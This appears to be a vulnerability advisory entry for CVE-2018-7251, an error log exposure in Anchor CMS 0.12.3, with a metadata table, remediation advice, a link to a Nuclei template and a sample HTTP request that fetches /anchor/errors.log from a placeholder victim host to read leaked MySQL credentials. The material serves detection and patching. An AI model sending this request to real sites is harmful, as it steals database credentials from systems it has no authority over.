| Title | Anchor CMS 0.12.3 - Error Log Exposure |
|---|---|
| Author | pdteam |
| Severity | Critical |
| Impact | An attacker can gain access to sensitive information, such as usernames, passwords, and system configuration details. |
| Remediation | Upgrade to the latest version of Anchor CMS or apply the necessary patches to fix the error log exposure vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9088 |
| CVE ID | CVE-2018-7251 |
| CWE ID | CWE-200 |
| Tags | cve cve2018 anchorcms logs error packetstorm vuln |
Anchor CMS 0.12.3 is susceptible to an error log exposure vulnerability due to an issue in config/error.php. The error log is exposed at an errors.log URI, and contains MySQL credentials if a MySQL error (such as “Too many connections”) has occurred.
GET /anchor/errors.log HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7251.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-7251.pcap
N/AN/A